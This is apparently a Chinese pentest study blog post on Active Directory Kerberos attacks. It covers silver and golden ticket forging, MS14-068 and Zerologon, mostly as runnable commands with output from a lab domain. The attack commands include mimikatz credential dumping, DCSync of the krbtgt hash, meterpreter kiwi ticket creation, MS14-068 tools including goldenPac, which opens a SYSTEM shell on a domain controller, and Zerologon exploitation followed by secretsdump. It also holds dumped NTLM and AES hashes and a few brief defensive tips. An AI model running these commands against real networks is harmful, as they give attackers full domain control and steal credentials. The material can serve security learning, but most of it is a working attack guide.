PTT攻击的部分就不是简单的NTLM认证了,它是利用Kerberos协议进行攻击的,这里就介绍三种常见的攻击方法:MS16-068,Golden ticket(黄金票据),SILVER ticket(白银票据)。
前面已经学习过Windows认证---基于Kerberos的域认证 - Kevin_xiao's Blog
白银票据(Silver Tickets)
特点:
- 无需与KDC交互
- 需要目标Server的NTLM Hash
在Kerberos的第三步认证中的Ticket的组成:
Ticket=Server NTLM Hash{Server Session Key(或者称为Session-Key TGS)+Client info+End Time)}
当拥有Server Hash时,我们就可以伪造一个不经过KDC认证的一个Ticket
Server Session Key在未发送Ticket之前,服务器是不知道Server Session Key是什么的。 所以,一切凭据都来源于Server Hash
获取Server Hash
还是用mimikatz
这个工具
mimikatz.exe "privilege::debug” "sekurlsa::logonpasswords" "exit" > log.txt
或者使用RCE漏洞获取到目标后加载mimikatz读取 该主机名为WEB的服务器
msf中加载mimikatz后使用msv来获取所有哈希
meterpreter > load mimikatz
meterpreter > msv
[+] Running as SYSTEM
[*] Retrieving msv credentials
msv credentials
===============
AuthID Package Domain User Password
------ ------- ------ ---- --------
0;987554 Negotiate IIS APPPOOL DefaultAppPool lm{ 00000000000000000000000000000000 }, ntlm{ 01ad29e76541f46e60129e2fb3acfc5d }
0;996 Negotiate DE1AY WEB$ lm{ 00000000000000000000000000000000 }, ntlm{ 01ad29e76541f46e60129e2fb3acfc5d }
0;49994 NTLM lm{ 00000000000000000000000000000000 }, ntlm{ 01ad29e76541f46e60129e2fb3acfc5d }
0;11327761 Kerberos DE1AY Administrator lm{ f471ca8ea823361ef9393d97e7a1873c }, ntlm{ 4d01fbeeaf2b706478943e0889df5622 }
0;1770542 NTLM DE1AY Administrator lm{ f67ce55ac831223dc187b8085fe1d9df }, ntlm{ 161cff084477fe596a5db81874498a24 }
0;1038932 Kerberos DE1AY de1ay lm{ f67ce55ac831223dc187b8085fe1d9df }, ntlm{ 161cff084477fe596a5db81874498a24 }
0;142774 Kerberos DE1AY mssql lm{ f67ce55ac831223dc187b8085fe1d9df }, ntlm{ 161cff084477fe596a5db81874498a24 }
0;156599 Kerberos DE1AY mssql lm{ f67ce55ac831223dc187b8085fe1d9df }, ntlm{ 161cff084477fe596a5db81874498a24 }
0;995 Negotiate NT AUTHORITY IUSR n.s. (Credentials KO)
0;997 Negotiate NT AUTHORITY LOCAL SERVICE n.s. (Credentials KO)
0;999 Negotiate DE1AY WEB$ n.s. (Credentials KO)
其中这一条即为需要的Service Hash
0;996 Negotiate DE1AY WEB$ lm{ 00000000000000000000000000000000 }, ntlm{ 01ad29e76541f46e60129e2fb3acfc5d }
伪造白银票据
在普通域用户机器中进行ptt
mimikatz "kerberos::golden /domain:<域名> /sid:<域 SID> /target:<目标服务器主机名> /service:<服务类型> /rc4:<NTLM Hash> /user:<用户名> /ptt" exit
实例:
尝试访问主机WEB
需要进行身份验证
伪造票据前先清空票据,保证票据列表干净
kerberos::list #列出票据
kerberos::purge # 清除票据
伪造票据:
mimikatz “kerberos::golden /domain:<域名> /sid:<域 SID> /target:<目标服务器主机名> /service:<服务类型> /rc4:<NTLM Hash> /user:<用户名> /ptt" exit
伪造票据需要目标主机的主机名,主机名对应用户的NTLM Hash 和域的SID
获取域的SID可以通过wmic useraccount where name="krbtgt" get sid
或者下文中获取高权限账户后使用lsadump::dcsync /user:krbtgt
域SID即为图中标红的S-1-5-21-2756371121-2868759905-3853650604
红色后面的的是RID 并非域SID
注意如果查询的用户名同时存在域用户和本地用户的话,会得到两个查询结果:如图中查询的de1ay用户会返回两个SID
获取到所需的信息后使用mimikatz伪造一个管理员权限的票据:
kerberos::golden /domain:de1ay.com /sid:S-1-5-21-2756371121-2868759905-3853650604 /target:WEB /service:CIFS /rc4:01ad29e76541f46e60129e2fb3acfc5d /user:Administrator /ptt
再次访问WEB服务器,成功
访问DC仍然需要验证:
由于白银票据需要目标服务器的Hash,所以没办法生成对应域内 所有服务器的票据,也不能通过TGT申请。因此只能针对服务器 上的某些服务去伪造,伪造的服务类型列表如下:
服务注释 | 服务名 |
---|---|
WMI | HOST、RPCSS |
Powershell Remoteing | HOST、HTTP |
WinRMHOST、HTTP | Scheduled TasksHOST |
LDAP 、DCSync | LDAP |
Windows File Share (CIFS) | CIFS |
Windows Remote ServerAdministration Tools | RPCSS、LDAP、CIFS |
白银票据(Silver Tickets)防御
- 1.尽量保证服务器凭证不被窃取
- 2.开启PAC (Privileged Attribute Certificate) 特权属性证书保护 功能,PAC主要是规定服务器将票据发送给kerberos服务,由 kerberos服务验证票据是否有效。
开启方式:
将注册表中
HKEY_LOCAL_MACHINE\SYSTEM \ CurrentControlSet\Control\Lsa\Kerberos\Parameters
中的ValidateKdcPacSignature
设置为1。
黄金票据(Golden Tickets)
特点:
- 1.需要与DC通信
- 2.需要krbtgt用户的hash
Golden ticket的作用是可以生成任意用户的TGT,那么问题就来了,是什么条件能够让他生成任意用户的tgt呢?还得要看kerberos认证的过程,在windows认证过程中,客户端将自己的信息发送给KDC,然后KDC使用krbtgt用户密码的hash作为密钥进行加密,生成TGT。
伪造黄金凭据需要具备下面条件:
- krbtgt用户的hash(就意味着你已经有域控制器权限了)
- 域名称
- 域的SID值
- 要伪造的用户名
域中有一个特殊用户叫做krbtgt,该用户是用于Kerberos身份验证的帐户,获得了该用户的hash,就可以伪造票据进行票据传递
域中每个用户的Ticket都是由krbtgt的密码Hash来计算生成的,因此只要获取到krbtgt的密码Hash,就可以随意伪造Ticket,进而使用Ticket登陆域控制器,使用krbtgt用户hash生成的票据被称为Golden Ticket。
获取krbtgt用户哈希
这个其实在前面PTH中提过
DCSync (mimikatz)
mimikatz 会模拟域控,向目标域控请求账号密码信息。 这种方式动静更小,不用直接登陆域控,也不需要提取NTDS.DIT文件。需要域管理员或者其他类似的高权限账户。
lsadump::dcsync /user:krbtgt
mimikatz # lsadump::dcsync /user:krbtgt [DC] 'de1ay.com' will be the domain [DC] 'DC.de1ay.com' will be the DC server [DC] 'krbtgt' will be the user account Object RDN : krbtgt ** SAM ACCOUNT ** SAM Username : krbtgt Account Type : 30000000 ( USER_OBJECT ) User Account Control : 00000202 ( ACCOUNTDISABLE NORMAL_ACCOUNT ) Account expiration : Password last change : 2019/9/9 10:44:59 Object Security ID : S-1-5-21-2756371121-2868759905-3853650604-502 Object Relative ID : 502 Credentials: Hash NTLM: 82dfc71b72a11ef37d663047bc2088fb ntlm- 0: 82dfc71b72a11ef37d663047bc2088fb lm - 0: 9b5cd36575630d629f3aa6d769ec91c3 Supplemental Credentials: * Primary:Kerberos-Newer-Keys * Default Salt : DE1AY.COMkrbtgt Default Iterations : 4096 Credentials aes256_hmac (4096) : 42e65a58c000dab8d353b1ff2bee93383f27f0966767afa8c1f32fc51122d118 aes128_hmac (4096) : 5eb13d2a0e1f4980c3e3810d5da3da4f des_cbc_md5 (4096) : 79c8dc79fe467552 * Primary:Kerberos * Default Salt : DE1AY.COMkrbtgt Credentials des_cbc_md5 : 79c8dc79fe467552 * Packages * Kerberos-Newer-Keys * Primary:WDigest * 01 6486daf200f85102b9a66f0bb698f964 02 618b4df7c8262508a26641b5271693fe 03 657b7f6a13829e21c18da26ee927dd7a 04 6486daf200f85102b9a66f0bb698f964 05 618b4df7c8262508a26641b5271693fe 06 6702b7e06d68443bbd003fa1fd2ad6c2 07 6486daf200f85102b9a66f0bb698f964 08 5057528d4ee40f9ffda5ab89fc76e45c 09 5057528d4ee40f9ffda5ab89fc76e45c 10 ec101c8f1831c5ddefbcdabf2d854077 11 48c89ab471a5a096c8895ca7c9fb8098 12 5057528d4ee40f9ffda5ab89fc76e45c 13 f63f9768f77b7a60dd75f79b210d31c5 14 48c89ab471a5a096c8895ca7c9fb8098 15 334888d42cd914936f94d6c2875f77a3 16 334888d42cd914936f94d6c2875f77a3 17 930580b0e2523dbc40d8b34efc9a83d1 18 d7bb3256dc319c0a9bdbff3ef0b3d618 19 120122f0735a3841c210d145d092d0fc 20 d371f34cf41adb5a09c8507a94066c48 21 61b1669bec1aa4a9873703229854e57d 22 61b1669bec1aa4a9873703229854e57d 23 963efa120b17bf8ea89eb2906fdf0092 24 8a015afc23c33423a0557e59bd6d573c 25 8a015afc23c33423a0557e59bd6d573c 26 a1fa583bfc8008249d6649630aada4a0 27 c13cf2b5ecb0894a09f8dd0831732da4 28 679145bff502118a02f6f3af19067da2 29 e371aa57cba0556074c58686ef433c30
或者在 meterpreter 中使用 kiwi 扩展
```
dcsync_ntlm krbtgt
```
```
meterpreter > getuid
Server username: DE1AY\Administrator
meterpreter > load kiwi
Loading extension kiwi...
.#####. mimikatz 2.1.1 20180925 (x86/windows)
.## ^ ##. "A La Vie, A L'Amour"
## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
## \ / ## > http://blog.gentilkiwi.com/mimikatz
'## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com )
'#####' > http://pingcastle.com / http://mysmartlogon.com ***/
Success.
meterpreter > dcsync_ntlm krbtgt
[+] Account : krbtgt
[+] NTLM Hash : 82dfc71b72a11ef37d663047bc2088fb
[+] LM Hash : 9b5cd36575630d629f3aa6d769ec91c3
[+] SID : S-1-5-21-2756371121-2868759905-3853650604-502
[+] RID : 502
```
LSA(mimikatz)
mimikatz 可以在域控的本地安全认证(Local Security Authority)上直接读取
privilege::debug lsadump::lsa /inject /name:krbtgt
Hashdump(Meterpreter)
伪造黄金票据
使用meterpreter中的kiwi模块
load kiwi
创建票据
golden_ticket_create -d <域名> -u <任意用户名> -s <Domain SID> -k <krbtgt NTLM Hash> -t <ticket本地存储路径如:/tmp/krbtgt.ticket>
golden_ticket_create -d de1ay.com -u test -s S-1-5-21-2756371121-2868759905-3853650604 -k 82dfc71b72a11ef37d663047bc2088fb -t /tmp/krbtgt.ticket
对域内其他机器进行共享访问,因为无权限失败
注入到内存:
kerberos_ticket_use /tmp/krbtgt.ticket
再次访问,可成功访问域内其他机器和域控
此时也可使用wmic在WEB机器上执行命令
wmic /authority:"kerberos:de1ay\WEB" /node:"WEB" process call create "calc"
命令已经在目标服务器上以administrator权限成功执行
使用mimikatz
mimikatz “kerberos::golden /domain:<域名> /sid:<域SID> /rc4:<KRBTGT NTLM Hash> /user:<任意用户名> /ptt" exit
访问另一台机器WEB \\web\C$
需要身份验证
使用mimikatz伪造黄金票据
进入mimikatz交互界面
使用kerberos::list
查看当前凭据列表
发现已经有部分凭据,使用kerberos::purge
来清空凭据确保凭据列表是干净的
使用前面获得的krbtgt用户的哈希生成黄金票据
SID
Object Security ID : S-1-5-21-2756371121-2868759905-3853650604-502
注意这里的是域SID+RID(-502) RID去掉后才是域SID
NTLM Hash
82dfc71b72a11ef37d663047bc2088fb
生成黄金票据并注入内存
kerberos::golden /domain:de1ay.com /sid:S-1-5-21-2756371121-2868759905-3853650604 /rc4:82dfc71b72a11ef37d663047bc2088fb /user:xxx /ptt
查看票据 kerberos::list
再次尝试访问目标服务器WEB
同样也可以访问DC服务器(或域内任意一台机器)
注意:如果使用 IP 地址访问的话会失败,使用 Netbios 的服务名访问才会走 Kerberos 协议
Tickets 总结
- 黄金票据:从攻击面来看,获取krbtgt用户的hash后,可以在域中 进行持久性的隐藏,并且日志无法溯源,但是需要拿到DC权限, 使用黄金票据能够在一个域环境中长时间控制整个域。
- 从防御角度来看,需要经常更新krbtgt的密码,才能够使得原有的 票据失效。最根本的办法是不允许域管账户登录其他服务器。
- 白银票据:从攻击面来看,伪造白银票据的难度比伪造黄金票据的 难度较小,因为一个域中的服务器如果对外的话,非常容易被入侵, 并且容易被转储Server。
- 从防御角度来看,需要开启PAC认证,但这会降低认证效率,增加 DC的负担,最根本的还是要加固服务器本身对外的服务。
ms14-068
介绍
MS14-068是密钥分发中心(KDC)服务中的Windows漏洞。它允许经过身份验证的用户在其Kerberos票证(TGT)中插入任意PAC(表示所有用户权限的结构)。该漏洞位于kdcsvc.dll域控制器的密钥分发中心(KDC)中。用户可以通过呈现具有改变的PAC的Kerberos TGT来获得票证。
简单来说就是:
windows域中使用kerberos协议过程中,为了让SS服务器判断Client是否有权限访问服务,引入了PAC机制。构造PAC也是这个漏洞的根本。
- 在请求AS时,将require_PAC设置成False。
- 在请求TGS时,构造PAC,然后使用MD5签名(PAC尾部的签名算法可以任意指定),PAC并没有放在TGT中发送,而是在请求包的其他位置(但是还是可以解析)。
- TGS_REP返回的不是会话密钥,而是返回的带PAC的TGT(微软的锅)
造成的危害是允许域内任何一个普通用户,将自己提升至域管权限。微软给出的补丁是kb3011780
利用前提
- 域控机器没有安装MS14-068补丁
- 获取到域内普通用户的密码/Hash 以及SUID
利用过程
查看是否安装KB3011780补丁来判断是否存在MS14-068漏洞
1.使用 whoami/user 得到普通域用户的sid
2.执行payload生成TGT票据:
利用工具:ms14-068
使用方法:
ms14-068.exe -u 域成员名@域名 -s 域成员sid -d 域控制器地址 -p 域成员密码
运行实例:
MS14-068.exe -u mary@god.org -s S-1-5-21-1218902331-2157346161-1782232778-1124 -d 192.168.3.21 -p admin!@#45
如果操作正确,且域机器是可以和域控制器互通则会创建.ccache文件
3.票据注入:
使用mimikatz将票据注入到当前内存中,伪造凭证,如果成功则拥有域管理权限,可任意访问域中所有机器
mimikatz # kerberos::purge //清空当前机器中所有凭证,如果有域成员凭证会影响凭证伪造
mimikatz # kerberos::list //查看当前机器凭证
mimikatz # kerberos::ptc 票据文件 //将票据注入到内存中
显示Injecting ticket : OK就表示注入成功了~
4.查看注入是否成功并且登录域控:
查看klist:
发现已经将凭证注入进去了~下面可以使用net use进行登录,或者使用psexec,wmi等方法进行远程执行命令。注意,这里登录时,要使用机器名,不要使用IP,否则没办法攻击成功。
可以看到我们已经提升到域控权限。
kekeo
考虑到mimikatz的pth功能需要本地管理员权限,所以mimikatz也提供了不需要管理员权限的解决方法Pass-The-Ticket
Pass-The-Ticket需要用到gentilkiwi开源的另一款工具kekeo,下载地址:https://github.com/gentilkiwi/kekeo/releases
kekeo "tgt::ask /user:mary /domain:god.org /ntlm:518b98ad4178a53695dc997aa02d455c"
执行后生成票据 :
TGT_mary@GOD.ORG_krbtgt~god.org@GOD.ORG.kirbi
接下来导入票据:
kekeo "kerberos::ptt TGT_mary@GOD.ORG_krbtgt~god.org@GOD.ORG.kirbi"
成功获得了域控的访问权限:
goldenPac
复制goldenPac.exe 到目标机器
目前已获取当前机器普通域用户leo 密码 123.com
goldenPac <域名>/<用户名>:<密码>@<域控地址>
C:\Users\leo\Desktop>goldenPac.exe sun.com/leo:123.com@dc.sun.com
Impacket v0.9.20 - Copyright 2019 SecureAuth Corporation
[*] User SID: S-1-5-21-3388020223-1982701712-4030140183-1110
[*] Forest SID: S-1-5-21-3388020223-1982701712-4030140183
[*] Attacking domain controller DC.sun.com
[*] DC.sun.com found vulnerable!
[*] Requesting shares on dc.sun.com.....
[*] Found writable share ADMIN$
[*] Uploading file ZVvcTLeF.exe
[*] Opening SVCManager on dc.sun.com.....
[*] Creating service bzOd on dc.sun.com.....
[*] Starting service bzOd.....
[!] Press help for extra shell commands
Microsoft Windows [░µ▒╛ 6.1.7600]
░µ╚¿╦∙╙╨ (c) 2009 Microsoft Corporationíú▒ú┴⌠╦∙╙╨╚¿└√íú
C:\Windows\system32>whoami
nt authority\system
C:\Windows\system32>hostname
DC
或者使用proxychains将goldenPac代理进内网
aresx@XXXXXXXXXX:/mnt/e$ proxychains goldenPac.py sun.com/leo:123.com@dc.sun.com
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.14
[proxychains] DLL init: proxychains-ng 4.14
[proxychains] DLL init: proxychains-ng 4.14
[proxychains] DLL init: proxychains-ng 4.14
[proxychains] DLL init: proxychains-ng 4.14
[proxychains] DLL init: proxychains-ng 4.14
[proxychains] DLL init: proxychains-ng 4.14
[proxychains] DLL init: proxychains-ng 4.14
[proxychains] DLL init: proxychains-ng 4.14
[proxychains] DLL init: proxychains-ng 4.14
Impacket v0.9.20 - Copyright 2019 SecureAuth Corporation
[proxychains] Strict chain ... 192.168.10.134:33080 ... sun.com:445 ... OK
[*] User SID: S-1-5-21-3388020223-1982701712-4030140183-1110
[proxychains] Strict chain ... 192.168.10.134:33080 ... sun.com:445 ... OK
[proxychains] Strict chain ... 192.168.10.134:33080 ... sun.com:445 ... OK
[*] Forest SID: S-1-5-21-3388020223-1982701712-4030140183
[proxychains] Strict chain ... 192.168.10.134:33080 ... sun.com:135 ... OK
[proxychains] Strict chain ... 192.168.10.134:33080 ... sun.com:49155 ... OK
[*] Attacking domain controller DC.sun.com
[proxychains] Strict chain ... 192.168.10.134:33080 ... DC.sun.com:88 ... OK
[proxychains] Strict chain ... 192.168.10.134:33080 ... DC.sun.com:88 ... OK
[proxychains] Strict chain ... 192.168.10.134:33080 ... DC.sun.com:88 ... OK
[proxychains] Strict chain ... 192.168.10.134:33080 ... DC.sun.com:88 ... OK
[proxychains] Strict chain ... 192.168.10.134:33080 ... DC.sun.com:88 ... OK
[proxychains] Strict chain ... 192.168.10.134:33080 ... DC.sun.com:88 ... OK
[*] DC.sun.com found vulnerable!
[proxychains] Strict chain ... 192.168.10.134:33080 ... dc.sun.com:445 ... OK
[*] Requesting shares on dc.sun.com.....
[*] Found writable share ADMIN$
[*] Uploading file HJlEFapm.exe
[*] Opening SVCManager on dc.sun.com.....
[*] Creating service RxAJ on dc.sun.com.....
[*] Starting service RxAJ.....
SMB SessionError: STATUS_OBJECT_NAME_NOT_FOUND(The object name is not found.)
[proxychains] Strict chain ... 192.168.10.134:33080 ... dc.sun.com:445 ... OK
[proxychains] Strict chain ... 192.168.10.134:33080 ... dc.sun.com:445 ... OK
[!] Press help for extra shell commands
[proxychains] Strict chain ... 192.168.10.134:33080 ... dc.sun.com:445 ... OK
Microsoft Windows [░µ▒╛ 6.1.7600]
░µ╚¿╦∙╙╨ (c) 2009 Microsoft Corporationíú▒ú┴⌠╦∙╙╨╚¿└√íú
C:\Windows\system32>whoami
nt authority\system
C:\Windows\system32>hostname
DC
C:\Windows\system32>
goldenPac使用可能会因为pyasn1库的原因出现问题,可以参考:解决goldenPac报错问题
pykek
使用方法:
ms14.068.exe -u <用户名>@<域名> -s <SID> -d <DC机器地址或ip> -p <用户密码>
C:\Users\leo\Desktop>MS14-068.exe -u leo@sun.com -s S-1-5-21-3388020223-19827017
12-4030140183-1110 -d dc.sun.com -p 123.com
[+] Building AS-REQ for dc.sun.com... Done!
[+] Sending AS-REQ to dc.sun.com... Done!
[+] Receiving AS-REP from dc.sun.com... Done!
[+] Parsing AS-REP from dc.sun.com... Done!
[+] Building TGS-REQ for dc.sun.com... Done!
[+] Sending TGS-REQ to dc.sun.com... Done!
[+] Receiving TGS-REP from dc.sun.com... Done!
[+] Parsing TGS-REP from dc.sun.com... Done!
[+] Creating ccache file 'TGT_leo@sun.com.ccache'... Done!
获得ccache文件后,可使用mimikatz进行票据注入
kerberos::purge`或者cmd中执行`klist purge
kerberos::ptc cache路径
注入完成后再次尝试是否有权限访问域控
Zerologon 域提权漏洞
利用条件: 已知域控主机名,可连接至域控445端口
可在域中使用net time /domain
可获取时间服务器机器名,一般也是域控机器名
可用漏洞重置域控机器名用户密码为空
在域内,机器用户跟域用户一样,是域内的成员,他在域内的用户名是机器用户+$(如DC2016$),在本地的用户名是SYSTEM,并且机器用户不可进行登录的,但是因为域控的机器用户具备Dcsync特权,我们就可以滥用该特权来进行Dcsync
MIMIKATZ
新版mimikatz添加了zerlogon漏洞的利用支持
检测漏洞
lsadump::zerologon /target:dc.domain.com /account:dc$
漏洞利用
lsadump::zerologon /target:dc.domain.com /account:dc$ /exploit
利用成功后可执行dcsync获取域管或krbtgt用户hash进行pth或ptt
lsadump::dcsync /domain:domain.com /dc:dc.domain.com /user:Administrator /authuser:dc$ /authdomain:domain /authpassword:"" /authntlm
恢复密码
lsadump::postzerologon /target:domain.com /account:dc$
PYTHON版利用工具:
https://github.com/dirkjanm/CVE-2020-1472
python cve-2020-1472-exploit.py 机器名 域控IP
即可重置域控机器用户密码
使用impacket中的secretsdump 进行dcsync获取域管hash
python secretsdump.py test.com/DC2016\$@DC2016 -dc-ip 192.168.110.16 -just-dc-user test\\administrator -hashes 31d6cfe0d16ae931b73c59d7e0c089c0:31d6cfe0d16ae931b73c59d7e0c089c0
31d6cfe0d16ae931b73c59d7e0c089c0:31d6cfe0d16ae931b73c59d7e0c089c0 为空密码的hash
参考:域渗透学习(七)PTT 票据传递攻击 | AresX's Blog (ares-x.com)
域渗透学习笔记五:攻击Kerbroes | CoolCat' Blog (thekingofduck.com)